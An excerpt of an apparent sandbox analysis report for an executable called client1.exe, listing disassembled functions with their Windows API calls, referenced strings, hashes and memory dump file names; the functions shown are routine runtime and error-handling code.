Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: f18d8f431814927885b9c894ece884b545559122ce24857c2491552e22e71327
Instruction ID: 54e04fc50cd6634a31d28a0e04e6114a808eb9d4249d7a0ded5da86cd2ab78ff
Opcode Fuzzy Hash: f18d8f431814927885b9c894ece884b545559122ce24857c2491552e22e71327
Instruction Fuzzy Hash: 9E113B28E0D3C242FA747B315A811FAE25B5F55BB0F844734D83E17AD6DEADB402A630

Function 00007FF79F62C8A8 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF79F62C8D3
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF79F62C968
RtlUnwindEx.KERNEL32 ref: 00007FF79F62C9B7

Strings

csm, xrefs: 00007FF79F62C94E
f, xrefs: 00007FF79F62C8E6

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 42fbbb83cedbe148bfcc1de87ea3e914151e174f0a46670c6939306692d2d31c
Instruction ID: 8982f06502d7dfab5b13709e126607f1b10cb27aac9b01bbc65d27bf8337a259
Opcode Fuzzy Hash: 42fbbb83cedbe148bfcc1de87ea3e914151e174f0a46670c6939306692d2d31c
Instruction Fuzzy Hash: C251C932B0578286D724EB35E8046E9B77AFB44BA4F908130DE6A87789DF38E941C751

Function 00007FF79F622240 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 81windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00007FF79F62242F), ref: 00007FF79F622278
DialogBoxIndirectParamW.USER32 ref: 00007FF79F62233C
DeleteObject.GDI32 ref: 00007FF79F62236F
DestroyIcon.USER32 ref: 00007FF79F622381

Strings

Unhandled exception in script, xrefs: 00007FF79F6222A8

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID: DeleteDestroyDialogHandleIconIndirectModuleObjectParam
String ID: Unhandled exception in script
API String ID: 3081866767-2699770090
Opcode ID: 01a0bb9e98a22bc39d92f1d9306349b6b95e7735addeeef39cbdf51254e5f23a
Instruction ID: 75cbf9dd7fa8ae9d9d2df12f7b1f021d5dba8617397ec20490fe5290584012cd
Opcode Fuzzy Hash: 01a0bb9e98a22bc39d92f1d9306349b6b95e7735addeeef39cbdf51254e5f23a
Instruction Fuzzy Hash: D3316B32A08BC289EB20FF71E8451E9A36AFF88794F800135EA5D8BA55DF7CD145C711

Function 00007FF79F622620 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 67windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,00000000,00000000,00007FF79F627744,?,?,?,?,?,?,?,?,?,?,?,00007FF79F62101D), ref: 00007FF79F622654

Part of subcall function 00007FF79F6274B0: GetLastError.KERNEL32(00000000,00007FF79F6226A0), ref: 00007FF79F6274D7
Part of subcall function 00007FF79F6274B0: FormatMessageW.KERNEL32(00000000,00007FF79F6226A0), ref: 00007FF79F627506

Part of subcall function 00007FF79F627A30: MultiByteToWideChar.KERNEL32 ref: 00007FF79F627A6A

MessageBoxW.USER32 ref: 00007FF79F62272C
MessageBoxA.USER32 ref: 00007FF79F622748

Strings

%s%s: %s, xrefs: 00007FF79F6226AD
Fatal error detected, xrefs: 00007FF79F622700, 00007FF79F62273A

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID: Message$ErrorLast$ByteCharFormatMultiWide
String ID: %s%s: %s$Fatal error detected
API String ID: 2806210788-2410924014
Opcode ID: bd2085b38ade222d48c53e4b242a54a19eedc60d0d0276a39b8304b5fd6b5430
Instruction ID: 427f49a35eef2caea9a4960fb05762d764c75c52f36becf58bf441f8cbd09b05
Opcode Fuzzy Hash: bd2085b38ade222d48c53e4b242a54a19eedc60d0d0276a39b8304b5fd6b5430
Instruction Fuzzy Hash: 8631747262C7C291E630BB20E8517DAA36AFB84794FC04036E69D43A99DF3CD305CB50

Function 00007FF79F6388E0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF79F638905
GetProcAddress.KERNEL32 ref: 00007FF79F63891B
FreeLibrary.KERNEL32 ref: 00007FF79F638942

Strings

CorExitProcess, xrefs: 00007FF79F638914
mscoree.dll, xrefs: 00007FF79F6388FC

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 611779d08fafb8db9f6fab045cd04065641a8af0ffd245d6ff06f44facfa83ea
Instruction ID: 46445f8685af585de1a2bd3e6bf8cc80228188c3258e4f9d9d5d6f64c18f88db
Opcode Fuzzy Hash: 611779d08fafb8db9f6fab045cd04065641a8af0ffd245d6ff06f44facfa83ea
Instruction Fuzzy Hash: 10F0AF71A0978291EA30BB34A8843B9932AAF897B5FC40235C57D466E4CF6CD448C320

Function 00007FF79F6487A4 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF79F6487CC
_set_statfp.LIBCMT ref: 00007FF79F6487E7
_set_statfp.LIBCMT ref: 00007FF79F648803
_set_statfp.LIBCMT ref: 00007FF79F64883F

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 69d38c35bd33e64192705e47d806ebaffe6519085bb8d16871af39b095092657
Instruction ID: 994d73378fc6788d0adf3b655954d8948b8ff5b4b35ccd91aa673180338e089c
Opcode Fuzzy Hash: 69d38c35bd33e64192705e47d806ebaffe6519085bb8d16871af39b095092657
Instruction Fuzzy Hash: 3811CE32E58B8705F6B43138E4523F9944B6F593F4F880230EA7E06AE6DF2CAC614275

Function 00007FF79F63A860 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00007FF79F639A73,?,?,00000000,00007FF79F639D0E,?,?,?,?,?,00007FF79F6321EC), ref: 00007FF79F63A87F
FlsSetValue.KERNEL32(?,?,?,00007FF79F639A73,?,?,00000000,00007FF79F639D0E,?,?,?,?,?,00007FF79F6321EC), ref: 00007FF79F63A89E
FlsSetValue.KERNEL32(?,?,?,00007FF79F639A73,?,?,00000000,00007FF79F639D0E,?,?,?,?,?,00007FF79F6321EC), ref: 00007FF79F63A8C6
FlsSetValue.KERNEL32(?,?,?,00007FF79F639A73,?,?,00000000,00007FF79F639D0E,?,?,?,?,?,00007FF79F6321EC), ref: 00007FF79F63A8D7
FlsSetValue.KERNEL32(?,?,?,00007FF79F639A73,?,?,00000000,00007FF79F639D0E,?,?,?,?,?,00007FF79F6321EC), ref: 00007FF79F63A8E8

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: b230e00eb3a4a963830e94931d1c566e9f2167cfa2cfe95f454d85ffeb99a2ab
Instruction ID: 87755686d646a12ca7cb0f6417ada6b8332a2dd90d1f76302ff083e3e3c9446f
Opcode Fuzzy Hash: b230e00eb3a4a963830e94931d1c566e9f2167cfa2cfe95f454d85ffeb99a2ab
Instruction Fuzzy Hash: 27114C24E1C3C241FA78B335AA411FAE24B5F557B0F844334E87E566D6DEADB4429630

Function 00007FF79F63A6F4 Relevance: 7.6, APIs: 5, Instructions: 50COMMON

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,?,?,?,?,00007FF79F642433,?,?,?,00007FF79F63CB8C,?,?,00000000,00007FF79F633A5F), ref: 00007FF79F63A705
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00007FF79F642433,?,?,?,00007FF79F63CB8C,?,?,00000000,00007FF79F633A5F), ref: 00007FF79F63A724
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00007FF79F642433,?,?,?,00007FF79F63CB8C,?,?,00000000,00007FF79F633A5F), ref: 00007FF79F63A74C
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00007FF79F642433,?,?,?,00007FF79F63CB8C,?,?,00000000,00007FF79F633A5F), ref: 00007FF79F63A75D
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00007FF79F642433,?,?,?,00007FF79F63CB8C,?,?,00000000,00007FF79F633A5F), ref: 00007FF79F63A76E

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 2ba98259ac8f671f7b11ef4b4b97e12d4d2c3255f6215eff0bd660afad52eb11
Instruction ID: 9076ae7c84df3867ed5b9104e1184d68ed80a24e79805a6537f48b8d8785659b
Opcode Fuzzy Hash: 2ba98259ac8f671f7b11ef4b4b97e12d4d2c3255f6215eff0bd660afad52eb11
Instruction Fuzzy Hash: 51112A28E0C38301F978BB7148921FA92AB4F56770F840734D83E4A6D2DDADB441A631

Function 00007FF79F63F198 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 219COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF79F63F477

Part of subcall function 00007FF79F645474: _invalid_parameter_noinfo.LIBCMT ref: 00007FF79F645491

Strings

ccs, xrefs: 00007FF79F63F3B2
UTF-8, xrefs: 00007FF79F63F3F6
UTF-16LEUNICODE, xrefs: 00007FF79F63F415

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: UTF-16LEUNICODE$UTF-8$ccs
API String ID: 3215553584-1196891531
Opcode ID: e657aeb740c2ac826b77e83addb2cc82262a2e6e3b5be7210a8d66ad85871f1f
Instruction ID: 1542419fdd7386e72493200d0f49359441f601781debbe21f9e69f7a4f0e499c
Opcode Fuzzy Hash: e657aeb740c2ac826b77e83addb2cc82262a2e6e3b5be7210a8d66ad85871f1f
Instruction Fuzzy Hash: EC81C731D2C38285F7787E3D89402F8B69AAF11B48FD58035DA2D9B286CFBDE4059361

Function 00007FF79F62E108 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF79F62E154
_CallSETranslator.LIBVCRUNTIME ref: 00007FF79F62E1A3

Strings

RCC, xrefs: 00007FF79F62E171
MOC, xrefs: 00007FF79F62E168

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: e66b2a899b3be21a272ca3efbe1e1fab7eec351de36f73ff2a6cc06a45c4f2b1
Instruction ID: a7dcd6674dd98766165323c66a314b684f0f5cf4b64d6333bf91d0467ab5d1a8
Opcode Fuzzy Hash: e66b2a899b3be21a272ca3efbe1e1fab7eec351de36f73ff2a6cc06a45c4f2b1
Instruction Fuzzy Hash: 90617C32A08B858AE720AF75D8803EDB7A5FB54B88F544235EE9D57B98CF38E045C711

Function 00007FF79F62E464 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF79F62E48C
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00007FF79F62E574

Strings

csm, xrefs: 00007FF79F62E4AE
csm, xrefs: 00007FF79F62E5C6

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: 37bca86698e542f9df3f1c5971c843800452ce466371b2576d682bdca002ed1e
Instruction ID: 89e6ea3a9b9764ae6a7bd996ea31cba2f5743fa1988ae6ff5b57a3f20f2b1cbe
Opcode Fuzzy Hash: 37bca86698e542f9df3f1c5971c843800452ce466371b2576d682bdca002ed1e
Instruction Fuzzy Hash: 1151B3329087C286DB74AF2199402E8B7AAFB64B94F944135DAAC87BD5CF3CE450C712

Function 00007FF79F6224D0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 67windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF79F627A30: MultiByteToWideChar.KERNEL32 ref: 00007FF79F627A6A

MessageBoxW.USER32 ref: 00007FF79F6225D7
MessageBoxA.USER32 ref: 00007FF79F6225F3

Strings

%s%s: %s, xrefs: 00007FF79F622558
Fatal error detected, xrefs: 00007FF79F6225AB, 00007FF79F6225E5

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID: Message$ByteCharMultiWide
String ID: %s%s: %s$Fatal error detected
API String ID: 1878133881-2410924014
Opcode ID: 1ad8658de8dbd2e7b08889bff9c9537d6e44ae678795f4b96bc9f189f6c45e5f
Instruction ID: 5e41e6416dcbca17ebcc084aa2b1602857236b40ea0d1787d6511593137c4f44
Opcode Fuzzy Hash: 1ad8658de8dbd2e7b08889bff9c9537d6e44ae678795f4b96bc9f189f6c45e5f
Instruction Fuzzy Hash: C83174726287C191EA30BB20E4517DAA36AFB84784FC04035EA9D47A89DF3CD305CB50

Function 00007FF79F623BA0 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 36COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,00007FF79F623699), ref: 00007FF79F623BD1

Part of subcall function 00007FF79F622620: GetLastError.KERNEL32(00000000,00000000,00000000,00007FF79F627744,?,?,?,?,?,?,?,?,?,?,?,00007FF79F62101D), ref: 00007FF79F622654
Part of subcall function 00007FF79F622620: MessageBoxW.USER32 ref: 00007FF79F62272C

Strings

GetModuleFileNameW, xrefs: 00007FF79F623BE2
Failed to convert executable path to UTF-8., xrefs: 00007FF79F623C0A
Failed to get executable path., xrefs: 00007FF79F623BDB

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID: ErrorFileLastMessageModuleName
String ID: Failed to convert executable path to UTF-8.$Failed to get executable path.$GetModuleFileNameW
API String ID: 2581892565-1977442011
Opcode ID: fe87d08da65b513e87772ab3e16eb14927cda1b8744753a26f3e7d7b1799e4b8
Instruction ID: 64e40b5f08e71e9dbc1b1938ebb9efc0a48c75c8d0abd793f5d21a7513db45bc
Opcode Fuzzy Hash: fe87d08da65b513e87772ab3e16eb14927cda1b8744753a26f3e7d7b1799e4b8
Instruction Fuzzy Hash: 0701BC21B1C3C290FA30BB30EC523F9925BBF08394FC00535E86EC6682EE5CE1459621

Function 00007FF79F63BA70 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00007FF79F63BAEF
WriteFile.KERNEL32 ref: 00007FF79F63BDB7
WriteFile.KERNEL32 ref: 00007FF79F63BDFD
GetLastError.KERNEL32 ref: 00007FF79F63BEB3

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: f750311aff661a04a86bbbada4284786bf27b8065a17484a8f486471230e888d
Instruction ID: f573e26b156dbeec8fe4ddbf6412b31814c1fa5a6ee9b81dedc133e0dd9b5fc8
Opcode Fuzzy Hash: f750311aff661a04a86bbbada4284786bf27b8065a17484a8f486471230e888d
Instruction Fuzzy Hash: 7ED1E022B18B8189E720DF79D4402EC77BAFB847D8B804225DE6E97B99DE78D416C310

Function 00007FF79F621F70 Relevance: 6.1, APIs: 4, Instructions: 52COMMON

Download Yara Rule

APIs

EndDialog.USER32 ref: 00007FF79F621FA4
SetWindowLongPtrW.USER32 ref: 00007FF79F621FC6
GetWindowLongPtrW.USER32 ref: 00007FF79F621FF0
InvalidateRect.USER32 ref: 00007FF79F622010

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID: LongWindow$DialogInvalidateRect
String ID:
API String ID: 1956198572-0
Opcode ID: 162ef6909b0da24e61350fefbcaa0130b5f771c4d53ef42d88aea1c24daf7f6c
Instruction ID: d3e74ef10bdee7ac3501ca7d7d83abf59f251e85485275c8c19478c86165f97c
Opcode Fuzzy Hash: 162ef6909b0da24e61350fefbcaa0130b5f771c4d53ef42d88aea1c24daf7f6c
Instruction Fuzzy Hash: 5711EC21E1C3C241FA71BB79E9442F99297EF89790FC44030E96947B8DDE2CD5C14111

Function 00007FF79F644D3C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 121COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF79F6408A0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF79F6408D3

_get_daylight.LIBCMT ref: 00007FF79F644E54
_get_daylight.LIBCMT ref: 00007FF79F644E65

Strings

?, xrefs: 00007FF79F644DE5

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo
String ID: ?
API String ID: 1286766494-1684325040
Opcode ID: c6b54485bead06bc5539c244e4ab75d05ddcaebff17989ae90453d9827129cd1
Instruction ID: 3225b170cf9919eee0b2f84586cb995d08a99e14da07d48812648177800a96ba
Opcode Fuzzy Hash: c6b54485bead06bc5539c244e4ab75d05ddcaebff17989ae90453d9827129cd1
Instruction Fuzzy Hash: 4D41D613A087C255FB74BB3594023FAA6AAEF81BA4FA44235EF6C07AD5DE3CD4518710

Function 00007FF79F637E6C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF79F637E9E

Part of subcall function 00007FF79F639E18: RtlFreeHeap.NTDLL(?,?,?,00007FF79F641E42,?,?,?,00007FF79F641E7F,?,?,00000000,00007FF79F642345,?,?,?,00007FF79F642277), ref: 00007FF79F639E2E
Part of subcall function 00007FF79F639E18: GetLastError.KERNEL32(?,?,?,00007FF79F641E42,?,?,?,00007FF79F641E7F,?,?,00000000,00007FF79F642345,?,?,?,00007FF79F642277), ref: 00007FF79F639E38

GetModuleFileNameW.KERNEL32(?,?,?,?,?,00007FF79F62B105), ref: 00007FF79F637EBC

Strings

C:\Users\user\Desktop\client1.exe, xrefs: 00007FF79F637EAA

Memory Dump Source

